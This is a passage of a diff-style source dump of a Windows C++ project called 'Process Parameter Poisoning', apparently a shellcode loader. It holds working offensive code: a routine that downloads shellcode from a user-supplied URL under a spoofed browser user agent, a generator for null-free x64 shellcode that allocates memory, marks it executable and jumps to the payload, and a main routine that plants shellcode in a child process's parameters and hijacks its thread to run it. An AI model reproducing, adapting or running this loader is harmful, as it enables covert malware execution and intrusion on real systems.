&bytesRead, // actual bytes read
|
||||
0
|
||||
);
|
||||
|
||||
if (!NT_SUCCESS(status)) {
|
||||
SetColor(FOREGROUND_RED);
|
||||
std::wcerr << L"[-] NtReadVirtualMemoryEx failed: 0x" << std::hex << status << std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
switch (choice) {
|
||||
case 1:
|
||||
shellcode = (uint8_t*)(parameters.ShellInfo.Buffer) + 4 + 4096;
|
||||
break;
|
||||
case 2:
|
||||
shellcode = (uint8_t*)(parameters.Environment) + 4 + 4096;;
|
||||
break;
|
||||
case 3:
|
||||
shellcode = (uint8_t*)(parameters.CommandLine.Buffer) + 4 + 4096;
|
||||
break;
|
||||
default:
|
||||
printf("[-] Invalid choice.\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("\n");
|
||||
SetColor(ORANGE);
|
||||
printf("[!] Shellcode is at 0x%p\n", shellcode);
|
||||
|
||||
|
||||
PVOID base = shellcode;
|
||||
SIZE_T shellcodeSize = myPayload.size() - 4 /* L"A=" */ - 8192 /* 2x Page Size */ - 5 /* env zero terminator */;
|
||||
|
||||
status = winapi.NtProtectVirtualMemory(pi.hProcess, &base, &shellcodeSize, PAGE_EXECUTE_READ, &oldp);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
std::wcerr << L"[-] NtProtectVirtualMemory failed: 0x" << std::hex << status << std::dec << L"\n";
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("\t[*] Press any key to fire the Shellcode");
|
||||
_getch();
|
||||
|
||||
|
||||
status = ThreadSetExec(&pi.hThread, shellcode);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
std::wcerr << L"[-] ThreadSetExec failed: 0x" << std::hex << status << std::dec << L"\n";
|
||||
return 1;
|
||||
}
|
||||
|
||||
std::wcout << L"\n\t[+] Actions succeeded, exiting.\n";
|
||||
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,144 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>17.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{b63c84fa-6216-425f-8392-ad42fd7a3e8f}</ProjectGuid>
|
||||
<RootNamespace>P3Loader</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="HTTPClient.cpp" />
|
||||
<ClCompile Include="Menu.cpp" />
|
||||
<ClCompile Include="P3-Loader.cpp" />
|
||||
<ClCompile Include="ShellCodeUserInput.cpp" />
|
||||
<ClCompile Include="ShellCodeWriter.cpp" />
|
||||
<ClCompile Include="WinApiResolver.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="HTTPClient.h" />
|
||||
<ClInclude Include="imports.h" />
|
||||
<ClInclude Include="Menu.h" />
|
||||
<ClInclude Include="ShellCodeUserInput.h" />
|
||||
<ClInclude Include="ShellCodeWriter.h" />
|
||||
<ClInclude Include="WinApiResolver.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,57 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="P3-Loader.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Menu.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="HTTPClient.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ShellCodeUserInput.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ShellCodeWriter.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="WinApiResolver.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="HTTPClient.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="imports.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Menu.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ShellCodeUserInput.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ShellCodeWriter.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="WinApiResolver.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,142 @@
|
||||
/**
|
||||
* Authors: Max Hirschberger & Ogulcan Ugur
|
||||
* Project: Process Parameter Poisoning
|
||||
* Notes: Built with and undefined behavior.
|
||||
*/
|
||||
|
||||
|
||||
#include "ShellCodeUserInput.h"
|
||||
#include "ShellCodeWriter.h"
|
||||
#include "HTTPClient.h"
|
||||
#include <iostream>
|
||||
|
||||
ShellCodeUserInput::ShellCodeUserInput() {}
|
||||
|
||||
bool ShellCodeUserInput::ParseNibble(char c, uint8_t& nibble)
|
||||
{
|
||||
if (c >= 0x30 && c <= 0x39) {
|
||||
nibble = c - 0x30;
|
||||
}
|
||||
else if (c >= 0x41 && c <= 0x46) {
|
||||
nibble = c - 0x41 + 10;
|
||||
}
|
||||
else if (c >= 0x61 && c <= 0x66) {
|
||||
nibble = c - 0x61 + 10;
|
||||
}
|
||||
else {
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool ShellCodeUserInput::ParseUserShellCode(const std::string& user_shellcode, std::vector<uint8_t>& res, bool& requires_wrap)
|
||||
{
|
||||
// Length needs to be a multiple of four
|
||||
if (user_shellcode.length() % 4) { return false; }
|
||||
uint8_t current_byte = 0;
|
||||
bool prev_zero = false;
|
||||
requires_wrap = false;
|
||||
for (size_t idx = 0; idx < user_shellcode.size(); idx++)
|
||||
{
|
||||
char c = user_shellcode[idx];
|
||||
switch (idx % 4)
|
||||
{
|
||||
case 0: // Backslash
|
||||
if (c != '\\') { return false; }
|
||||
break;
|
||||
case 1: // x
|
||||
if (c != 'x') { return false; }
|
||||
break;
|
||||
case 2: // First nibble
|
||||
{
|
||||
uint8_t nibble = 0;
|
||||
if (!ParseNibble(c, nibble)) { return false; }
|
||||
current_byte = nibble << 4;
|
||||
break;
|
||||
}
|
||||
case 3: // Second nibble
|
||||
{
|
||||
uint8_t nibble = 0;
|
||||
if (!ParseNibble(c, nibble)) { return false; }
|
||||
current_byte |= nibble;
|
||||
if (current_byte == 0 && prev_zero && (idx & 1) == 1) {
|
||||
requires_wrap = true;
|
||||
}
|
||||
res.push_back(current_byte);
|
||||
prev_zero = current_byte == 0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
std::vector<uint8_t> ShellCodeUserInput::GetConsoleInput()
|
||||
{
|
||||
std::string user_shellcode;
|
||||
std::vector<uint8_t> user_shellcode_bytes;
|
||||
bool requires_wrap;
|
||||
|
||||
while (true)
|
||||
{
|
||||
printf("\n[>] Enter your shellcode: ");
|
||||
std::cin >> user_shellcode;
|
||||
|
||||
if (ParseUserShellCode(user_shellcode, user_shellcode_bytes, requires_wrap))
|
||||
break;
|
||||
|
||||
printf("[!] Invalid Shellcode Format, expecting e.g. \\xBa\\xad\\xF0\\x0d\n");
|
||||
}
|
||||
|
||||
if (requires_wrap)
|
||||
{
|
||||
// Supplied shell code contains two consecutive 00 at an even index -> Null terminator in wide string representation
|
||||
// Using a wrapper that:
|
||||
// 1. Pushes the shellcode to the stack
|
||||
// 2. Allocates READWRITE memory
|
||||
// 3. Copies shellcode from the stack to the newly allocated area
|
||||
// 4. Changes protection of the newly allocated area to EXECUTE_READ
|
||||
// 5. Jumps to the newly allocated area
|
||||
printf("\n[!] Shellcode is not compatible, wrapping inside compatible shellcode\n");
|
||||
ShellCodeWriter w;
|
||||
w.LoadAndCallShellCode(user_shellcode_bytes);
|
||||
return w.GetShellCodeBytes();
|
||||
}
|
||||
else {
|
||||
return user_shellcode_bytes;
|
||||
}
|
||||
}
|
||||
|
||||
std::vector<uint8_t> ShellCodeUserInput::GetURLInput()
|
||||
{
|
||||
//HTTPClient httpClient(L"PPP-Loader/1.0");
|
||||
HTTPClient httpClient(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36");
|
||||
wchar_t downloadUrl[1024];
|
||||
printf("[>] Enter URL: ");
|
||||
wscanf_s(L" %1023[^\n]", downloadUrl, 1024);
|
||||
std::vector<uint8_t> user_shellcode_bytes = httpClient.DownloadURL(downloadUrl);
|
||||
bool requires_wrap = false;
|
||||
for (size_t i = 1; i < user_shellcode_bytes.size(); i++) {
|
||||
if ((i % 1) == 0 && user_shellcode_bytes[i - 1] == 0 && user_shellcode_bytes[i] == 0) {
|
||||
requires_wrap = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (requires_wrap)
|
||||
{
|
||||
// Supplied shell code contains two consecutive 00 at an even index -> Null terminator in wide string representation
|
||||
// Using a wrapper that:
|
||||
// 1. Pushes the shellcode to the stack
|
||||
// 2. Allocates READWRITE memory
|
||||
// 3. Copies shellcode from the stack to the newly allocated area
|
||||
// 4. Changes protection of the newly allocated area to EXECUTE_READ
|
||||
// 5. Jumps to the newly allocated area
|
||||
printf("\n[!] Shellcode is not compatible, wrapping inside compatible shellcode\n");
|
||||
ShellCodeWriter w;
|
||||
w.LoadAndCallShellCode(user_shellcode_bytes);
|
||||
return w.GetShellCodeBytes();
|
||||
}
|
||||
else {
|
||||
return user_shellcode_bytes;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
/*
|
||||
* File: ShellCodeUserInput.h
|
||||
* Authors: Max Hirschberger & Ogulcan Ugur
|
||||
*/
|
||||
|
||||
#ifndef SHELLCODE_USERINPUT_H
|
||||
#define SHELLCODE_USERINPUT_H
|
||||
#include <vector>
|
||||
#include <string>
|
||||
|
||||
class ShellCodeUserInput {
|
||||
public:
|
||||
static std::vector<uint8_t> GetConsoleInput();
|
||||
static std::vector<uint8_t> GetURLInput();
|
||||
private:
|
||||
ShellCodeUserInput();
|
||||
static bool ParseUserShellCode(const std::string& user_shellcode, std::vector<uint8_t>& res, bool& requires_wrap);
|
||||
static bool ParseNibble(char c, uint8_t& nibble);
|
||||
};
|
||||
|
||||
#endif // SHELLCODE_USERINPUT_H
|
||||
@@ -0,0 +1,270 @@
|
||||
/**
|
||||
* Authors: Max Hirschberger & Ogulcan Ugur
|
||||
* Project: Process Parameter Poisoning
|
||||
* Notes: Built with ❤️ and undefined behavior.
|
||||
*/
|
||||
|
||||
#include "ShellCodeWriter.h"
|
||||
#include "WinApiResolver.h"
|
||||
|
||||
ShellCodeWriter::ShellCodeWriter() : m_total_consumed_stack_bytes(0) {}
|
||||
|
||||
std::vector<uint8_t> ShellCodeWriter::GetShellCodeBytes() { return m_sc_bytes; }
|
||||
|
||||
void ShellCodeWriter::CallMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
|
||||
{
|
||||
int title_pos = 0;
|
||||
size_t title_size = strlen(lpCaption);
|
||||
int text_pos = title_size + 1;
|
||||
size_t text_size = strlen(lpText);
|
||||
|
||||
// Combine both text and title into one string
|
||||
std::vector<uint8_t> title_text_combined;
|
||||
title_text_combined.insert(title_text_combined.end(), lpCaption, lpCaption + title_size + 1);
|
||||
title_text_combined.insert(title_text_combined.end(), lpText, lpText + text_size + 1);
|
||||
|
||||
PushBuffer(title_text_combined.data(), title_text_combined.size());
|
||||
int stack_pos_buf = m_total_consumed_stack_bytes;
|
||||
|
||||
// Shadow Space
|
||||
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
|
||||
m_total_consumed_stack_bytes += 32;
|
||||
|
||||
// Populate arg registers
|
||||
SetArgRegister(0, (uint64_t)hWnd);
|
||||
SetArgRegisterStackRelative(1, (m_total_consumed_stack_bytes - stack_pos_buf) + text_pos); // lpText
|
||||
SetArgRegisterStackRelative(2, (m_total_consumed_stack_bytes - stack_pos_buf) + title_pos); // lpCaption
|
||||
SetArgRegister(3, uType);
|
||||
|
||||
WinApiResolver winapi = WinApiResolver::GetInstance();
|
||||
Call((uint64_t)winapi.MessageBoxA);
|
||||
FreeStack();
|
||||
}
|
||||
void ShellCodeWriter::CallLoadLibraryA(LPCSTR module)
|
||||
{
|
||||
PushBuffer(module, strlen(module) + 1);
|
||||
int stack_pos_buf = m_total_consumed_stack_bytes;
|
||||
|
||||
// Shadow Space
|
||||
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
|
||||
m_total_consumed_stack_bytes += 32;
|
||||
|
||||
// Populate arg registers
|
||||
SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - stack_pos_buf));
|
||||
|
||||
WinApiResolver winapi = WinApiResolver::GetInstance();
|
||||
Call((uint64_t)winapi.LoadLibraryA);
|
||||
}
|
||||
void ShellCodeWriter::LoadAndCallShellCode(const std::vector<uint8_t>& shellcode)
|
||||
{
|
||||
PushBuffer(shellcode.data(), shellcode.size()); // 1. Pushes the shellcode to the stack
|
||||
int stack_pos_user_sc = m_total_consumed_stack_bytes;
|
||||
|
||||
// Shadow Space
|
||||
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
|
||||
m_total_consumed_stack_bytes += 32;
|
||||
|
||||
{ // 2. Allocates READWRITE memory
|
||||
// VirtualAlloc(NULL, shellcode.size(), MEM_COMMIT, PAGE_READWRITE);
|
||||
|
||||
SetArgRegister(0, NULL);
|
||||
SetArgRegister(1, shellcode.size());
|
||||
SetArgRegister(2, MEM_COMMIT);
|
||||
SetArgRegister(3, PAGE_READWRITE);
|
||||
|
||||
WinApiResolver winapi = WinApiResolver::GetInstance();
|
||||
Call((uint64_t)winapi.VirtualAlloc);
|
||||
}
|
||||
|
||||
{ // 3. Copies shellcode from the stack to the newly allocated area
|
||||
AppendShellCode("\x49\x89\xC4", 3); // mov r12, rax ; shellcode_dest
|
||||
|
||||
AppendShellCode("\x49\x89\xC2", 3); // mov r10, rax ; shellcode_dest
|
||||
|
||||
SetRAX(shellcode.size()); // User Shellcode size
|
||||
AppendShellCode("\x49\x89\xC3", 3); // mov r11, rax ; User Shellcode size
|
||||
|
||||
SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - stack_pos_user_sc)); // User Shellcode
|
||||
|
||||
// r10: Shellcode dest ptr
|
||||
// r11: size
|
||||
// rcx: Shellcode src ptr
|
||||
|
||||
const char* copy_sc = "\x8A\x01" // mov al, byte ptr ds:[rcx]
|
||||
"\x41\x88\x02" // mov byte ptr ds:[r10], al
|
||||
"\x48\xff\xc1" // inc rcx
|
||||
"\x49\xff\xc2" // inc r10
|
||||
"\x49\xff\xcb" // dec r11
|
||||
"\x75\xf0"; // jnz -16
|
||||
AppendShellCode(copy_sc, 16);
|
||||
}
|
||||
|
||||
{ // 4. Changes protection of the newly allocated area to EXECUTE_READ
|
||||
|
||||
|
||||
// VirtualProtect(shellcode_dest, size, PAGE_EXECUTE_READ, shellcode_src);
|
||||
AppendShellCode("\x4C\x89\xE1", 3); // mov rcx, r12 ; lpAddress
|
||||
SetArgRegister(1, shellcode.size());
|
||||
SetArgRegister(2, PAGE_EXECUTE_READ); // flNewProtect
|
||||
SetArgRegisterStackRelative(3, (m_total_consumed_stack_bytes - stack_pos_user_sc)); // Will overwrite the shellcode, but that is ok :)
|
||||
|
||||
WinApiResolver winapi = WinApiResolver::GetInstance();
|
||||
Call((uint64_t)winapi.VirtualProtect);
|
||||
}
|
||||
|
||||
if ((m_total_consumed_stack_bytes % 16))
|
||||
{
|
||||
AppendShellCode("\x58\x50\x50", 3); // pop rax; push rax; push rax;
|
||||
m_total_consumed_stack_bytes += 8;
|
||||
}
|
||||
|
||||
// 5. Jumps to the newly allocated area
|
||||
AppendShellCode("\x41\xff\xe4", 3); // jmp r12
|
||||
}
|
||||
|
||||
void ShellCodeWriter::CallTerminateProcess(HANDLE ProcessHandle, NTSTATUS ExitStatus)
|
||||
{
|
||||
SetArgRegister(0, (uint64_t)ProcessHandle);
|
||||
SetArgRegister(1, ExitStatus);
|
||||
WinApiResolver winapi = WinApiResolver::GetInstance();
|
||||
Call((uint64_t)winapi.NtTerminateProcess);
|
||||
FreeStack();
|
||||
}
|
||||
|
||||
void ShellCodeWriter::CallSuspendThread(HANDLE ThreadHandle, PULONG PreviousSuspendCount)
|
||||
{
|
||||
SetArgRegister(0, (uint64_t)ThreadHandle);
|
||||
SetArgRegister(1, (uint64_t)PreviousSuspendCount);
|
||||
WinApiResolver winapi = WinApiResolver::GetInstance();
|
||||
Call((uint64_t)winapi.NtSuspendThread);
|
||||
FreeStack();
|
||||
}
|
||||
|
||||
void ShellCodeWriter::AppendShellCode(const char* shellcode, size_t size)
|
||||
{
|
||||
m_sc_bytes.insert(m_sc_bytes.end(), shellcode, shellcode + size);
|
||||
}
|
||||
|
||||
|
||||
void ShellCodeWriter::SetRAXXOR(uint64_t xor_a_value, uint64_t xor_b_value)
|
||||
{
|
||||
const char gadget[] = "\x48\xB8\xB0\xC5\x2F\x6D\xFB\x7F\x01\x01" // mov rax, XOR_A
|
||||
"\x49\xBF\x01\x01\x01\x01\x01\x01\x01\x01" // mov r15, XOR_B
|
||||
"\x4C\x31\xF8"; // xor rax, r15
|
||||
uint64_t* xor_a = (uint64_t*)(gadget + 2);
|
||||
uint64_t* xor_b = (uint64_t*)(gadget + 12);
|
||||
*xor_a = xor_a_value;
|
||||
*xor_b = xor_b_value;
|
||||
AppendShellCode(gadget, 23);
|
||||
}
|
||||
|
||||
|
||||
void ShellCodeWriter::SetRAX(uint64_t value)
|
||||
{
|
||||
if (value == 0)
|
||||
{
|
||||
AppendShellCode("\x48\x31\xC0", 3); // xor rax, rax
|
||||
return;
|
||||
}
|
||||
uint64_t xor_a = 0, xor_b = 0x0101010101010101;
|
||||
for (int i = 0; i < 8; i++) {
|
||||
if (((uint8_t*)(&value))[i] == 0x01) {
|
||||
((uint8_t*)(&xor_b))[i] = 0x02;
|
||||
}
|
||||
}
|
||||
xor_a = value ^ xor_b;
|
||||
SetRAXXOR(xor_a, xor_b);
|
||||
}
|
||||
|
||||
void ShellCodeWriter::PushValue(uint64_t value)
|
||||
{
|
||||
SetRAX(value);
|
||||
m_sc_bytes.push_back(0x50); // push rax
|
||||
m_total_consumed_stack_bytes += 8;
|
||||
}
|
||||
|
||||
void ShellCodeWriter::PushBuffer(const void* buf, size_t size)
|
||||
{
|
||||
std::vector<uint64_t> v_array;
|
||||
uint64_t v = 0;
|
||||
for (size_t i = 0; i < size; i++)
|
||||
{
|
||||
if (i > 0 && (i % 8) == 0)
|
||||
{
|
||||
v_array.push_back(v);
|
||||
v = 0;
|
||||
}
|
||||
v >>= 8;
|
||||
v |= ((uint64_t)(((uint8_t*)buf)[i]) << 56);
|
||||
}
|
||||
v >>= (8 * (8 - (size % 8)));
|
||||
v_array.push_back(v);
|
||||
|
||||
for (int i = 0; i < v_array.size(); i++)
|
||||
{
|
||||
PushValue(v_array[v_array.size() - i - 1]);
|
||||
}
|
||||
}
|
||||
|
||||
void ShellCodeWriter::SetArgRegister(int arg_index, uint64_t value)
|
||||
{
|
||||
const uint8_t ins_bytes0[] = { 0x48, 0x48, 0x49, 0x49 };
|
||||
const uint8_t ins_bytes3[] = { 0xc1, 0xc2, 0xc0, 0xc1 };
|
||||
if (arg_index < 0 || arg_index > 3)
|
||||
{
|
||||
printf("[-] Bad argid %d, expected 0-3\n", arg_index);
|
||||
return;
|
||||
}
|
||||
SetRAX(value);
|
||||
m_sc_bytes.push_back(ins_bytes0[arg_index]); // mov r<X>, rax
|
||||
m_sc_bytes.push_back(0x89);
|
||||
m_sc_bytes.push_back(ins_bytes3[arg_index]);
|
||||
}
|
||||
|
||||
void ShellCodeWriter::SetArgRegisterStackRelative(int arg_index, int stack_relative_offset)
|
||||
{
|
||||
const uint8_t ins_bytes0[] = { 0x48, 0x48, 0x49, 0x49 };
|
||||
const uint8_t ins_bytes3[] = { 0xc1, 0xc2, 0xc0, 0xc1 };
|
||||
if (arg_index < 0 || arg_index > 3)
|
||||
{
|
||||
printf("[-] Bad argid %d, expected 0-3\n", arg_index);
|
||||
return;
|
||||
}
|
||||
SetRAX(stack_relative_offset);
|
||||
AppendShellCode("\x48\x8D\x04\x04", 4); // lea rax, [rsp+rax]
|
||||
m_sc_bytes.push_back(ins_bytes0[arg_index]); // mov r<X>, rax
|
||||
m_sc_bytes.push_back(0x89);
|
||||
m_sc_bytes.push_back(ins_bytes3[arg_index]);
|
||||
}
|
||||
|
||||
void ShellCodeWriter::Call(uint64_t pfn)
|
||||
{
|
||||
PushValue(pfn);
|
||||
bool needs_align = (m_total_consumed_stack_bytes % 16);
|
||||
if (needs_align)
|
||||
{
|
||||
AppendShellCode("\x50", 1); // push rax
|
||||
m_total_consumed_stack_bytes += 8;
|
||||
}
|
||||
AppendShellCode("\x58\xff\xd0", 3); // pop rax; call rax;
|
||||
m_total_consumed_stack_bytes -= 8;
|
||||
if (needs_align)
|
||||
{
|
||||
AppendShellCode("\x41\x5F", 2); // pop r15
|
||||
m_total_consumed_stack_bytes -= 8;
|
||||
}
|
||||
}
|
||||
|
||||
void ShellCodeWriter::FreeStack()
|
||||
{
|
||||
if (m_total_consumed_stack_bytes < 0x80)
|
||||
{
|
||||
